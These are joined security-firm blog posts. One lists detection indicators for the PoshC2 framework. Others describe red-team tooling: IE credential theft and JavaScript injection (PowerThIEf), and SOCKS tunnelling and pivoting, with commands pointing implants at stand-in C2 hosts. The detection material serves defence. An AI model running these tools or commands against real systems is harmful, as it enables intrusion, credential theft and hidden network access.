Posts

Detecting PoshC2 – Indicators of Compromise

As a counterpart to the release of PoshC2 version 6.0 we are providing a list of some of its Indicators of Compromise (IoCs), particularly as used out-of-the-box, as well as some other effective methods for detecting it in your environment.

We also introduce the new PoshC2 Detections GitHub repository at https://github.com/nettitude/PoshC2_IOCs that will be continually updated as development continues, in order to assist blue teams with detecting PoshC2, particularly when used by less sophisticated attackers that do not alter or configure it to change the default IoCs. We encourage the community to contribute to and help update and improve this repository.

It is worth noting that PoshC2 is open source, so while these are IoCs for PoshC2 if used it its default state, ultimately it can be altered either through configuration or by changing the source code itself. The default configuration is subject to change, however where possible the location of that value is pointed out to the reader in order to allow these values to be monitored and updated, in addition to providing the GitHub repository.

Communications

One way to detect PoshC2 is to focus on the communications. Compromised hosts have to communicate with the C2 server somehow in order to pick up tasks and return task output. This is unavoidable and PoshC2 can currently only do this through the use of HTTP(S) requests.

That isn’t to say this this makes it easy to detect; a huge amount of HTTP traffic is present in most environments and the flexibility of the protocol allows for traffic to be hidden and routed through legitimate websites using techniques such as Domain Fronting and reverse proxies.

An example of HTTP comms when domain fronting.

An example of HTTP comms when domain fronting.

Something very helpful for catching C2 communications is SSL Inspection. By being able to inspect SSL traffic leaving the perimeter, the contents of that traffic can be checked and statistics acquired for detecting C2 communications. Without this, network defenders are largely blind, particularly against domain fronted communications which travel via legitimate third-party websites.

If SSL Inspection is implemented then the HTTP traffic can be viewed, and while PoshC2 encrypts the contents of the HTTP bodies, the HTTP URLs and headers can still be viewed.

URLs

PoshC2 has two different ways of generating URLs to use for communications. Operators can either use a static list of URLs or provide a wordlist from which random URLs will be generated, and these files are stored at resources/urls.txt and resources/wordlist.txt respectively, with the static URL list being the default option. These URLs are then loaded into the database when the project is first created, and a random URL is chosen by each implant each time it beacons. The default URL list is below:

While these URLs were originally copied from legitimate requests, if you see several of them being repeated to a site, particularly if they do not seem relevant to that site and if the response does not make sense, then it could be PoshC2 beacon traffic.

HTTP Responses

PoshC2 also has static HTML responses that it responds with. The default is six HTTP 200 responses and one 404 response. These are stored in files at resources/responses/ and also loaded into the database when the server is first created. The server responds with a random 200 response to POST requests that do not error or require a specific response, and with the single 404 response to all unexpected URLs or when the C2 server errors. Other responses return context relevant data, such as tasks, implant code and so on.

This static HTML file then at resources/responses/404_response.html is an IoC and if returned from a webserver that you are investigating is suggestive of PoshC2. Similarly, the 200_response* files in the same directory are IoCs if returned by POST requests.

Note however, that it is recommended that operators change these files before creating a PoshC2 project, as is the use of a C2 proxy, so as with the other indicators the absence of this particular response is not unexpected for a PoshC2 installation.

SSL Certificate

PoshC2 by default creates a self-signed certificate for its HTTP server, the values for which are stored in poshc2/server/Config.py file. These values are not in the ‘normal’ configuration file config.yml and are less documented and are therefore harder to change.

An experienced operator will not expose their C2 server to the internet, but will instead use a proxy server with a valid certificate and filter firewall traffic to the C2 server that is not from that proxy, however if these steps are not taken and a certificate with the below values is presented then it is another strong indicator that PoshC2 is in use, likely by less sophisticated adversaries.

The issuer data can be viewed using Chrome and the default values suggest this is a PoshC2 server.

The issuer data can be viewed using Chrome and the default values suggest this is a PoshC2 server.

JA3 Signatures

Another method for signaturing C2 traffic without SSL Inspection is to fingerprint the Client Hello packet that initialises the TCP connection. The specific bytes that make up the packet are dependent upon the type of connection being formed and the underlying packages and methods used to do so.

As these packets are sent before encryption has been established they are cleartext and can be intercepted and read. It turns out that the packet contents are quite unique and can be fingerprinted. Salesforce have an excellent blog post on JA3 fingerprinting, but essentially the details are extracted from the packets that make up this TCP handshake and hashed to create a quick and easy signature, that can be used to identify not only that PoshC2 is in use, but also the specific implant type.

The current Windows 10 PoshC2 signatures are below:

PowerShell: c12f54a3f91dc7bafd92cb59fe009a35

Sharp: fc54e0d16d9764783542f0146a98b300

JA3 fingerprinting has been incorporated into security products such as Splunk and Darktrace to provide quick and easy identification of C2 traffic, and can be utilised with these fingerprints. These fingerprints are available and will be maintained in the PoshC2 Detections GitHub repository.

Telemetry

Another mechanism for detecting C2 traffic, with or without SSL Inspection, is through the use of telemetry.

PoshC2’s default values for beacon time and jitter in the config.yml file are 5 seconds and a 20% jitter, as can be seen below, which is both a fast beacon rate and a small jitter, making it relatively easy to detect using this method.

With these values the implants are going to beacon every 4-6 seconds by default, with an average of 5 seconds.

After capturing some traffic, filtering by the C2 server host and only checking TLS Client Hello packets, we can see that the TLS connection is created roughly every five seconds, confirming what we expect.

We can see the difference between each session initialisation is between 4 and 6 seconds.

We can see the difference between each session initialisation is between 4 and 6 seconds.

By exploring this small sample of data, we can determine that the average time between the requests is 5.05 seconds, with a standard deviation of 0.81 or 16%, close to the 5 second beacon with the 20% jitter we expect from PoshC2’s defaults.

Security products that can provide telemetry data, e.g. Splunk can be used to detect C2 traffic in this way by checking for repetitive beacons at a relatively fixed frequency, whether it’s at the above defaults for PoshC2 or at any frequency, given that it is configurable.

PowerShell Implant

PoshC2 has three implant types; PowerShell, C#, and Python, with the latter being a lightweight implant type mostly intended for compromising *nix hosts.

The PowerShell Implant runs by loading System.Management.Automation.dll, the engine behind PowerShell.exe, into the desired process and executing PowerShell commands directly using this DLL.

The PowerShell implant supports full PowerShell execution from any process (here netsh.exe) by loading System.Management.Automation.dll.

The PowerShell implant supports full PowerShell execution from any process (here netsh.exe) by loading System.Management.Automation.dll.

While this does not utilise PowerShell.exe, bypassing many restrictions and controls, it is still subject to PowerShell specific constraints such as Constrained Language mode and ScriptBlock logging. The latter, in particular, can be used to detect PoshC2 and any other malicious PowerShell commands, whether via PowerShell.exe or otherwise.

Note, however, that ScriptBlock logging was only enabled in PowerShell v5.0 and above, so if PowerShell v2.0 is available on the target then a downgrade attack can be performed and PowerShell 2.0 used, bypassing Constrained Language mode, ScriptBlock logging, AMSI and other controls added in v5.0.

PS Logging

Enabling ScriptBlock logging and Transcript Logging for PowerShell allows logging of processes running PowerShell commands.

There are multiple IoCs here, not least that the Host Application is not PowerShell.exe, as should be expected, but instead netsh.exe.

PowerShell transcripts provide valuable information. Alerting on Host Applications that are not PowerShell.exe is a good way to find PowerShell implants from any C2 framework.

PowerShell transcripts provide valuable information. Alerting on Host Applications that are not PowerShell.exe is a good way to find PowerShell implants from any C2 framework.

Similarly in the Event Viewer for ScriptBlock logging:

PowerShell ScriptBlock logging can reveal a wealth of information, here including the beacon URLs for PoshC2 and again netsh.exe as a host process.

PowerShell ScriptBlock logging can reveal a wealth of information, here including the beacon URLs for PoshC2 and again netsh.exe as a host process.

This also includes the ‘command line’ of the ScriptBlock being executed, which includes the beacon URLs from which a random element is being chosen, therefore listing all the C2 URLs that are in use by this implant.

Aside from the wealth of information ScriptBlock logging provides for any threat hunter, an event command line specific to PoshC2 that can be used to identify the PowerShell implant is below:

The $ServerClean variable is specific to PoshC2 and a clear IoC.

The $ServerClean variable is specific to PoshC2 and a clear IoC.

CommandLine= $ServerClean = Get-Random $ServerURLS

This ScriptBlock is part of the beaconing process and will be repeated frequently in the Event Viewer making it easy to identify.

System.Management.Automation.dll

As mentioned earlier, the PowerShell implant does not function by invoking PowerShell.exe, but instead by loading System.Management.Automation.dll into the implant process.

This means that this is an IoC, and if we find a process that should not have this DLL loaded, particularly if it is an unmanaged code binary (so not .NET) then it is highly likely that this is a process that has been injected into by a PowerShell implant, PoshC2 or otherwise.

System.Management.Automation.dll, the engine behind PowerShell, is a .NET library.

System.Management.Automation.dll, the engine behind PowerShell, is a .NET library.

netsh.exe is a C++ binary and should not be loading .NET libraries.

netsh.exe is a C++ binary and should not be loading .NET libraries.

We can see this DLL loaded into an implant process using Process Hacker:

System.Management.Automation.dll loaded into netsh.exe.

System.Management.Automation.dll loaded into netsh.exe.

Similarly we can view the .NET Assemblies in the process:

We can view the .NET Assemblies in the netsh.exe process and see PowerShell is loaded.

We can view the .NET Assemblies in the netsh.exe process and see PowerShell is loaded.

This tab shouldn’t even be present for a genuine netsh.exe process as it is unmanaged code!

The module is not loaded in a genuine netsh process and the .NET tabs are not available.

The module is not loaded in a genuine netsh process and the .NET tabs are not available.

An operator can be smarter about their migration by injecting into .NET processes, however it is still unlikely that a legitimate process (that isn’t PowerShell.exe) would load System.Management.Automation.dll, so this is a great IoC to look out for in your environment.

This can be implemented at scale by searching for loaded modules in an EDR product, for example in CarbonBlack with a query of:

modload:System.Management.Automation* AND -process_name:powershell.exe AND process_name:powershell_ise.exe

This searches for process with System.Management.Automation.dll or System.Management.Automation.ni.dll (the Native Image version) loaded into a process when that process is not PowerShell.exe or PowerShell_ISE.exe. Other legitimate exclusions may need to be added for your particular environment.

Here we can see various processes that have loaded System.Management.Automation.dll into memory that are likely implants.

Here we can see various processes that have loaded System.Management.Automation.dll into memory that are likely implants.

C# Implant

The C# or Sharp implant is PoshC2’s ‘next gen’ implant, written (unsurprisingly) in C#. The key difference from a detection perspective is that this implant does not require loading System.Management.Automation.dll in order to function. Most of the functionality of the C# implant is custom-written and while it can load System.Management.Automation.dll in order to execute PowerShell, this is an operator decision and is by no means necessary.

A similar process to the above can be applied, but is a little harder to implement. .NET processes load the mscoree.dll library which is the core library behind the .NET CLR (Command Language Runtime), so again any unmanaged code processes that are loading this library could have been migrated into. The issue here is finding these processes, as it’s not as simple as searching for just ‘module loaded and process name is not powershell.exe’.

A blacklist can be created of common target processes that are unmanaged, always available and should not be loading the .NET runtime, and these can be monitored, as well as noting this during manual triage.

Implant loads mscoree.dll if it is not already present in the process – another IoC if the process is supposed to be unmanaged.

A C# implant loads mscoree.dll if it is not already present in the process – another IoC if the process is supposed to be unmanaged.

Note that the PowerShell implant will also load this library as it is also a .NET process, however the presence of System.Management.Automation.dll marks it as an implant that can run PowerShell.

The C# implant has the ability to load compiled binaries into memory over C2 and run them, which is extremely powerful. There are indicators of this however, as a new virtual runspace is created for each module and their namespace is listed in the AppDomain to which they are loaded.

Viewing the .NET Assemblies in Process Explorer or Process Hacker for example then reveals what modules have been run.

In the C# implant loaded modules have their namespace visible in the AppDomain, making it clear what has been loaded into the implant.

In the C# implant loaded modules have their namespace visible in the AppDomain, making it clear what has been loaded into the implant.

Above we can see the Core and dropper_cs modules that make up the core functionality of the C# implant, as well as some native modules from Microsoft that are required to run. These modules will always be present in the PoshC2 C# implant and are a clear IoC. We also see Seatbelt and SharpUp, two common C# offensive modules from SpectreOps, and we can surmise that they have been on the target.

In General

Migration

We have used netsh.exe as the example implant process in this post and that is for a good reason. The default migration process for PoshC2 in the C# and PowerShell implants is C:\Windows\System32\netsh.exe, so when the migrate or inject-shellcode commands are used and a specific process ID or name is not set, then a new netsh.exe process is spawned and migrated into.

This itself is a common IoC for PoshC2, as netsh.exe is not typically frequently run in environments, and certainly not on most end user’s hosts. Therefore, if there is a sudden uptick in the number of these processes being run in the environment or if several are running on a host then it could be worth investigating.

Persistence

PoshC2 has three quick persistence commands available to the PowerShell implant. Each of these installs a PowerShell.exe one liner payload to the registry in the key at HKCU\Software\Microsoft\Windows\CurrentVersion\themes with a name Wallpaper777, Wallpaper555 or Wallpaper666, depending on the command being run.

This payload is then triggered by either:

  • A registry key at HKCU\Software\Microsoft\Windows\CurrentVersion\run with the name IEUpdate
  • A Scheduled Task, also with the name IEUpdate
  • A shortcut file placed at %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\IEUpdate.lnk

All of these can be alerted upon and used to determine that the adversary using PoshC2, in addition to alerting on the invocation of PowerShell.exe with encoded parameters, and so on.

Binary payloads

Some of the more common payloads that are dropped on targets are the PoshC2 executables and DLLs that can be run using rundll32.exe.

For the DLLs, there are different versions for PowerShell and Sharp implants across versions 2 and 4 of PowerShell and x86 and x64 bit architectures, however all the DLLs have a single entry-point common to all: VoidFunc.

All the DLL payloads have the same single entry point of VoidFunc.

All the DLL payloads have the same single entry point of VoidFunc.

This entry-point is hard-coded in PoshC2 and cannot be changed without hacking the compiled binary itself.

For the common executable and DLL payloads we’ve also added Yara rules for detecting them. These are based on signaturable parts of the binaries that will not change across different installs of PoshC2, for example with different comms options. These are also available in the new PoshC2 Detections GitHub repository.

In Summary

We’ve looked at a few different detections for catching PoshC2 when used out-of-the-box. Using these in your environment will help protect against the less sophisticated users of PoshC2 in addition to further understanding how the tool works.

Any new detections or amendments can be added to the https://github.com/nettitude/PoshC2_IOCs repository and we encourage the community to add their own detections or rules and configurations for other security tools to help build a centralised data store for everyone.

Operational Security with PoshC2 Framework

This post describes a new capability that has been deployed within PoshC2, which is designed to assist with revealing a wider set of target environment variables at the dropper stage, as part of operational security controls.

Imagine the following scenario.  You’ve deployed IP address white-listing on a proxy in order to limit implant installation to a specific environment.  A connection arrives back from a host that’s not associated with your target environment, so the connection is dropped and PoshC2 never sees the incoming connection attempt.  By adding some additional logging on the proxy, and utilising the new CookieDecrypter.py script, you can now reveal specific environment variables about where the dropper was executed.  This information allows for better decision making on what to do next in this scenario.  It yields greater situational awareness.

The background

When carrying out red team testing, a number of safety checks are required to:

  1. Environmentally key the implant to the target environment variables.
  2. Make sure only those targeted assets are compromised.

The purpose of this post is not to discuss these safety measures in depth.  Rather, it is to instead focus on the problem wherein a target environment has been IP white-listed on the attacking infrastructure, but a connection has come back from an IP address not already on that approved list of target environments.  Large organisations do not always readily or thoroughly understand their full external IP address range, or do not force tunnelling of all traffic across a VPN.  It is therefore not uncommon to receive legitimate connect backs from non-whitelisted sources.

As a simulated attacker, you now have a decision to make; you have sent very unique malicious links to a target employee and those have been verified as followed, and certain local checks have been satisfied, but the connection is coming from an IP address that’s not on your white-list. The dropper must have been executed and has consequently called back to your attacking infrastructure to download the core implant from the PoshC2 server.  Now what?

Further detail

PoshC2’s implant is a staged implant and utilises a dropper to satisfy certain criteria before calling back to the C2 server to pick up a core implant. The dropper uses a unique encryption key specific to the PoshC2 instance, but not unique to each dropper. Each dropper shares the same encryption key; it is only when the core implant is sent down that each implant is uniquely keyed for all further communication.

Generally, the following infrastructure is set up to support a PoshC2 instance. This includes a number of redirectors or Internet Proxies that forward C2 communications back to the PoshC2 instance, limiting exposure of the C2 servers and allowing a flexible approach to building many redirectors to combat take-downs or blocked URL’s.

The redirectors can be made up of any infrastructure or technology, whether it be cloud based redirectors such as CloudFront, or applications running on a host such as Socat, python or Apache, to name a few.

Apache is a preference for its rewrite rules, which can be used to make smart decisions on traffic traversing the proxy. White-listing the X-forwarded-for address is one common method and can be written into rewrite rules using a RewriteMap, as follows.

Something you might not know

The configuration of the dropper has now been modified to retry multiple times after a timeout, if the connection returns a HTTP 404 response. This provides extra time to make a decision on whether to add the IP address to the white-list, without losing the implant. If the IP address is then added to the white-list, then when the dropper connects back, it will be allowed to traverse to the PoshC2 server instance and download the core implant.

Extra help

The CookieDecrypter.py script was created to assist in decision making by providing more information. The connection from the dropper includes a cookie value that details useful environment variables such as those detailed below, however it is encrypted with the key created on initialisation of the PoshC2 instance.

  • Domain
  • User Account
  • Hostname
  • Implant Architecture
  • Process ID
  • URL

Capturing the cookie

By default the cookie value will not be stored anywhere on the proxy server. As previously mentioned, Apache is powerful and includes a number of options to assist, one of which is ModSecurity.

Installing ModSecurity:

apt install libapache2-modsecurity

Enabling the configuration to capture cookies for requests that are returned a HTTP 404 response:

Now if a dropper connects and gets a 404 response, the following log entry will be created in “/var /log/apache2/sec.log”:

The script

The script CookieDecrypter.py has been created to ingest the log file and parse the ‘SessionID’ from the log file, then connect to the PoshC2 database to retrieve the encryption keys and use the encryption functions to reverse the cookie value. It has to be executed on the PoshC2 server.

python CookieDecrypter.py log.txt

Conclusion

With increased visibility comes better decision making.  Knowledge of the workstations domain and the user generally provides most, if not all, of the information you need to assess whether an asset is in scope.  We have multiple layers of protection in our approach to risk management to ensure that we stay on the right side of the rules of engagement, and this is just one of them.  We recommend that you develop your own set of risk management procedures too.

 

COM and the PowerThIEf

Recently, Component Object Model (COM) has come back in a big way, particularly with regards to it being used for persistence and lateral movement. In this blog we will run through how it can also can be used for limited process migration and JavaScript injection within Internet Explorer. We will then finish with how this was put together in our new PowerShell library Invoke-PowerThIEf and run through some situations it can aid you, the red team, in.

Earlier this year I became aware of a technique that involved Junction Folders/CLSID that had been leaked in the Vault 7 dump. It was when I began looking at further applications of these that I also learned about the Component Object Model (COM) ability to interact with and automate Internet Explorer. This, of course, is not a new discovery; a lot of the functionality is well documented on sites like CodeProject. However, it hadn’t been organised into a library that would aid the red team workflow.

This formed the basis of my talk “COM and the PowerThIEf” at SteelCon in Sheffield on 7th July 2018. The slides for the talk can be found at:

The talk itself is here:

Getting up to speed with COM

Before we dive into this, if you are not familiar with COM then I would highly recommend the following resources. These are a selection of some of the recent excellent talks & blog posts on the subject that I would recommend if you want to know more.

Junction Folders

I first came across the Junction Folders/CLSID technique mentioned above in one of b33f’s excellent Patreon videos. As I understand it, this was first used as a method for persistence, in that if you name a folder in the format CLSID.{<CLSID>} then when you navigate to that folder, explorer will perform a lookup in the registry upon the CLSID and then run whatever COM Server has been registered. As part of his DefCon 25 WorkShop (which is worth a read, hosted at https://github.com/FuzzySecurity/DefCon25) he released a tool called Hook-InProcServer that enabled you to build the registry structure required to be used for a COM Hijack or for the JunctionFolders/CLSID technique. These were both being used as a Persistence mechanism and I began wondering if this might be possible to use as a means of Process Migration, at least into explorer.exe.

Step one was to find if it was possible to programmatically navigate to one of the configured folders and – yes – it turns out that it is. In order to be able to navigate, we first need to gain access to any running instances of explorer. Windows makes this easy via the ShellWindows object:

Enumerating the Item property upon this object lists all the current running instances of Explorer and Internet Explorer (I must admit I thought this was curious behaviour). ShellWindows is identified by the CLSID “{9BA05972-F6A8-11CF-A442-00A0C90A8F39}”; the following PowerShell demonstrates activating it.

The objects returned by indexing the .Item collection will be different based upon if it is an explorer and IE instance. An easy check is using the FullName which exists on both and has the name of the application, as shown here.

This article (https://www.thewindowsclub.com/the-secret-behind-the-windows-7-godmode) from 2010 not only contains the Vault7 technique but also shows that it is possible to navigate to a CLSID using the syntax shell:::{CLSID}. Assuming that we have at least one IE window open, we are able to index the ShellWindows.Item object in order to gain access to that window (e.g. to gain access to the first IE window, use $shWin[0].Item). This will provide us an object that represents that instance of IE and is of a type called IWebBrowser2. Looking further into this type, we find in the documentation that it has a method called Navigate2. (https://msdn.microsoft.com/en-us/library/aa752134(v=vs.85).aspx). The remarks on the MSDN page for this method state that it was added to extend the Navigate method in order to “allow for shell integration”.

The following code will activate ShellWindows, assuming the first window is an IE instance (this is a proof of concept) and will then attempt to navigate to the Control Panel via the CLSID for Control Panel (which can be found in the registry).

The following animation shows what happens when this code is run:

Control Panel being navigated to via CLSID ID:

We can then see via a trace from Process Monitor that IE has looked up the CLSID and then navigated to it, eventually opening it up in explorer, which involved launching the DLL within the InProcServer registry key. If we create our own registry keys we then have a method of asking IE (or Explorer) to load a DLL for us all from the comfort of another process. We don’t always want network connections going out from Word.exe, do we? In the case of IE the DLL must be x64. There are methods of configuring the registry entries to execute script; I suggest that you look at subTee’s or bohop’s excellent work for further information.

JavaScript

Once a reference is obtained to an Internet Explorer window it is then possible to access the DOM of that instance. As expected, you then have full access to the page and browser. You can view and edit HTML, inject JavaScript, navigate to other tabs and show/hide the window, for example. The following code snippet demonstrates how it is possible to inject and execute JavaScript:

The difference this time is that we actually have to locate the eval method on the DOM window before being able to call it. This requires using .NET’s Reflection API to locate and Invoke the method.

The following shows what happens this code is run.

Where is this all going?

Well, despite the programming constructs and some of the techniques being well documented, there didn’t appear to be a library out there which brought it all together in order to help a red team in the following situations:

  • The target is using a password manager, e.g. LastPass where key-logging is ineffective.
  • The user is logged into an application and we want to be able to log them out without having to clear all browser history and cookies.
  • The target application is in a background tab and can‘t wait for user to switch tabs. We need to view or get HTML from that page.
  • We want to view a site from the targets IP address, without the target being aware.

This led to me writing the PowerThIEf library which is now hosted at https://github.com/nettitude/Invoke-PowerThIEf.

The functionality included in the initial release is as follows:

  • DumpHtml: Retrieves HTML from the DOM, can use some selectors (but not jQuery style – yet).
  • ExecPayload: Uses the migrate technique from earlier to launch a payload DLL in IE.
  • HookLoginForms: Steals credentials by hooking the login form and monitoring for new windows.
  • InvokeJS : Executes JavaScript in the window of your choice.
  • ListUrls: Lists the urls of all currently opened tabs/windows.
  • Navigate: Navigate to another URL.
  • NewBackgroundTab: Creates a new tab in the background.
  • Show/HideWindow: Shows or Hides a browsing window.

Examples of usage and functionality include:

Extracting HTML from a page:

Logging the user out, in order to capture credentials:

Using the junction folders to trigger a PoshC2 payload:

Capturing credentials in transit entered via LastPass:

Usage

The latest Invoke-PowerThIEf documentation can be found at:

Roadmap

Further functionality is planned in the future and will include

  • Screenshot: Screenshot all the browser windows.
  • CookieThIEf: Steal cookies (session cookies).
  • Refactor DOM event handling: Developing Complex C# wrapped in Powershell is not ideal.
  • Pure C# Module
  • Support for .Net 2.0-3.5

Download

github GitHub: https://github.com/nettitude/Invoke-PowerThIEf

PoshC2 v3 with SOCKS Proxy (SharpSocks)

OVERVIEW

We’ve been working on quite a few changes since the release of PoshC2 v2, our public Command & Control framework, back in December 2016. In this blog we’ll talk about the top changes and feature improvements. If you want to view all the changes, we’ve now added a CHANGELOG.md to the repository.

Some headline features are:

  • C# reverse HTTPS tunnelling SOCKS proxy (SharpSocks)
  • Daisy implant now supports multi layered pivoting (no limit on hops)
  • Domain fronting for C2 comms
  • C++ reflective DLL, utilising UnmanagedPowershell and PoshC2’s Custom EXE
  • Shellcode generator, utilising @monoxgas‘s new sRDI tool we can generate shellcode on the fly from the Reflective DLL created in C++
  • Stable migration utilising Inject-Shellcode which uses our newly created shellcode
  • New AutoRuns that allow the user to create commands that run when a new implant is initiated
  • Pre/Post Implant Help – The Implant-Handler window now has a pre and post help menu which allows you to do various tasks when you have no implant, such as autoruns
  • A new port scanner module

Changelog:

SHARPSOCKS

One of the most important tools for a red teamer is the SOCKS Proxy. This enables the creation of a tunnel between two machines such that any network traffic forwarded through it appears to have originated from the machine at the end of it. Once a foothold has been gained on a machine, a SOCKS proxy can be deployed between the operators machines and the target in order to access subnets, machines and services that would not normally be directly accessible. This includes being able to RDP to another machine or even to browse the corporate intranet.

SOCKS support is built into most modern browsers and cURL. However, to use tools like rdesktop or nmap, proxychains on Linux can be used to tunnel the traffic. In order to simulate ProxyChains when using Windows, software such as ProxyCap (http://www.proxycap.com/) can be used.

Previously, if tools like PoshC2 or Empire were used to gain a foothold and SOCKS is required then another implant, such as Meterpreter, would have to be deployed in order to provide the ability to tunnel TCP traffic into the internal network. We arrived at the decision that deploying a full implant just for SOCKS support is overkill and while e.g. Meterpreter is very good, it is also can be noisy and is not an appropriate representation of most sophisticated threat actors TTPs. Since PoshC2 is our publicly available C2, we wanted to add this ability for the wider world too, just like we have in our internal tooling.

When started, the implant will connect back via an HTTP request to the specified host. This is known as the command channel.  By default (and this timing can be changed via the --beacon flag in the implant) the server will be contacted every 5 seconds to check if there are any connections that need to be opened or closed on the implant side. Once the command channel has successfully connected for the first time, the SOCKS listener port is opened on the server; this port is what proxychains or proxycap should be configured to connect to.

Once this has started you can then start your web browser or RDP etc. and connect to the internal network. Every time the browser etc. opens a connection to the SOCKS port, a job is queued for the command channel and the implant on the default 5 second timer will connect up check to see if there any new connections that need to be made or closed. If one does need to be opened, this will be then be assigned its own session identifier and traffic will flow and be tunnelled over HTTP/S on separate requests.

A typical usage scenario is shown in the diagram above. A foothold has been gained on a machine with internet access, but only via HTTP/S, and RDP needs to be used to access the RDP Host (credentials for this box have, of course, been obtained). The SharpSocks server is started and so is the implant. Proxychains is then configured by the operator to point to the SOCKS port. Rdesktop is then started and traffic is tunnelled via HTTPS to the implant host, where the connection is then made to the RDP host.

Design Goals

The project originated as a way to provide SOCKS proxy functionality to Nettitude’s PoshC2 project.  The design goals were as follows:

  • Ability to operate as part of another implant or its own separate instance
  • Communication over HTTP/S
  • Minimal CPU/memory load on implanted machine
  • Encrypted transport
  • Configurable locations within a HTTP request for the payload
  • Proxy aware
  • IPv6 support
  • Ease of integration into other projects
  • Easing overriding functionality by a consumer such as encryption or transport method

Usage

The best usage experience for this currently is via PoshC2.

SharpSocks, written by Rob Maslen (@rbmaslen), utilises a C# AssemblyLoad to run a socks4a proxy on the implant, calling back to a server which can be either located on the same PoshC2 instance or on a different host. The most convenient way to deploy this is via the same PoshC2 host, but on a separate port. The comms can be split via the Apache Rewrite rules if you’re using a C2 proxy on the Internet. It may also be a good idea to use a separate host for this traffic as you may have to speed up comms to 1 or 2 second beacons and therefore utilise a separate proxy host, but they can all point back to the same PoshC2 instance in the back end.

The comms URLs for both PoshC2 and SharpSocks can now be fully customised when first setting the server up. These can then be added to an apache.conf file located in the root of the PoshC2 folder.

A sample set of Apache Rules are below:

To deploy SharpSocks all you need to do is run the following command from within a live implant. This will create a new encryption key and subsequent channel and start both the implant and SharpSocks server for you:

SharpSocks -Uri https://www.c2.com:443 -Beacon 2000 -Insecure

Here is a simple video that shows this being used:

This can be used as a standalone program outside of PoshC2 too. The code and PowerShell script can be found below:

The next few sections walk you through using SharpSocks in a standalone manner.

There are two Visual Studio Solutions which build both the server and the implant. These are both built initially as DLL’s, however the solutions also contain projects for executables that wrap the DLLs and allow for testing of the functionality. These exe’s are not designed to be deployed in a production scenario.

The DLLs are designed to be either launched via the test executables or via the helper functions within the DLLs themselves, enabling other usage via other projects/languages. Also included within the binaries directory is also the PowerShell script that is used by PoshC2.

Server App (SharpSocksServerTestApp)

Running the server binary with the --help flag, the following options are listed. In order to launch, the only value that is required is the encryption key.  This should be supplied in Base64; the default algorithm is AES-256.

An example of this running would be the following

This will start the HTTPS server (HTTPS requires that a certificate is installed via netsh) listening on https://c2proxy.on.the.internet. The communications are encrypted via the key NqeEk7h4pe7cJ6YGB/4q3jHZ5kp64xsghwNwjYUFD0g=, the command channel is identified by bc448036-f957-45d9-b0e7-997b4121034f. The session identifier would be transmitted via the ASP.NET_SessionId cookie and smaller payloads via the __RequestVerificationToken cookie.

Server DLL (SharpSocksServerDLL)

Within the SharpSocksServer.dll is a class called SharpSocksServer.Source.Integration.PSSocksServer which contains a single method called CreateSocksController. This method is designed as a static helper to easily enable the creation and starting of the SharpSocksServer. In order to be used, the DLL/Assembly will first need to be loaded the CreateSocksController method called and then the Start method called on the value returned. For usage of this it’s best to look in the PowerShell script included with this project.

Implant Test App (SharpSocksImplantTestApp)

An example:

This will start the implant which will attempt to connect to https://c2proxy.on.the.internet using the system proxy settings. The communications are encrypted via the key NqeEk7h4pe7cJ6YGB/4q3jHZ5kp64xsghwNwjYUFD0g=, the command channel is identified by bc448036-f957-45d9-b0e7-997b4121034f. The session identifier would be transmitted via the ASP.NET_SessionId cookie and smaller payloads via the __RequestVerificationToken cookie. The command channel will attempt to connect every 7.5 seconds to the SharpSocks server.

Implant DLL (SharpSocksImplant.dll)

Within the SharpSocksImplant.dll is a class called SocksProxy.Classes.Integration.PoshCreateProxy which contains a single method called CreateSocksController. This method is designed as a static helper to easily enable the creation and starting of the implant. In order to be used, the DLL/Assembly will first need to be loaded the CreateSocksController method called and then the Start method called on the value returned. As with the SharpSocks Server, as an example of usage of this it’s best to look in the PowerShell script included with this project.

DAISYIMPLANT – PIVOTING IN POSHC2

To enable multi-layered pivoting in PoshC2 we have created a module called Invoke-DaisyChain. This must be run as an administrator on a compromised host within the compromised network. This will essentially create an HTTP proxy server running on the host to transport PoshC2 comms traffic from the internal network out to the PoshC2 instance instead of going direct with CreateProxyPayload.

To start the DaisyChain server, simply run this command with your C2 configuration. Proxy settings are optional as is the domain fronting URL:

Invoke-DaisyChain -name jason -daisyserver http://192.168.1.1 -port 9999 -c2port 443 -c2server https://www.c2domain.com -domfront aaa.cloudfront.net -proxyurl http://10.0.0.1:8080 -proxyuser dom\test -proxypassword pass

This will create a variety of payloads that are specific to this pivot server. Therefore, if you run the new payloads (called ‘jason’ in this instance) it would attempt to connect to the proxy port running on this host, rather than going direct to the Internet. To execute these payloads remotely, you can use any of the lateral execution methods built into PoshC2 or any of your custom lateral movement methods.

There is no limit on the number of times you can pivot into a network. However, if any of the machines in the chain get restarted for any reason, the entire chain will die. This is worth noting when performing pivoting within a network using Daisy Chaining.

DOMAIN FRONTING FOR C2 COMMS

PoshC2 can now use domain fronting for comms. There is a caveat to this; the host must have .NET v4.0.30319 installed and usable to the PowerShell instance. However, if the host does not have this version of the CLR installed it will default back to the underlying CDN hostname, for example cloudfront.net or azureedge.net. The way we perform domain fronting in PoshC2 is by adding the Host header to the web requests.

This is a much stealthier option for comms as you can utilise hostnames with better reputation without needing to buy new domains and obtain reputation yourself. There are many examples of these on the Internet, but as a proof of concept this example uses ‘d0.awsstatic.com’.

PRE-IMPLANT HELP MENU

The new pre-implant help menu allows you to configure various auto-runs, double check the server configuration and make and significant changes to the C2 server. It also allows you to test your configuration by issuing PwnSelf to obtain an implant.

Other commands that can be altered are C2 default beacon time, Clockwork SMS API key and mobile number for text message alerts of new implants.

AUTO-RUNS

We have now implemented the concept of Auto-Runs. This allows the user of PoshC2 to automate various tasks when an implant first comes in. A few use cases of this could be:

  • auto migrate from PowerShell
  • capturing a screenshot for situational awareness
  • install persistence

Essentially, any command that can be issued within PoshC2 can be turned into an Auto-Run.

This menu can be found on the pre-implant help menu. An example of this menu has been shown below:

AUTOMIGRATE-FROMPOWERSHELL (AM)

The auto migrate from PowerShell feature has been added and by default will start another process in netsh.exe unless otherwise stated by the ‘-newprocess’ parameter. This utilises unmanaged PowerShell via the C++ Reflective DLL.

C++ REFLECTIVE DLL

The C++ Reflective Dll utilises the concept from the unmanaged PowerShell code by @tifkin_.

We have created a .NET binary that is loaded by creating an instance of the CLR (v2.0.50727 or v4.0.30319) in runtime and patching the implant over the top when creating a new payload. This is done by creating a blank variable in the C++ code and overwriting the code where 5000 A’s exist. Once compiled we find the location of this code and add the offset to the PatchDLL function as shown below.

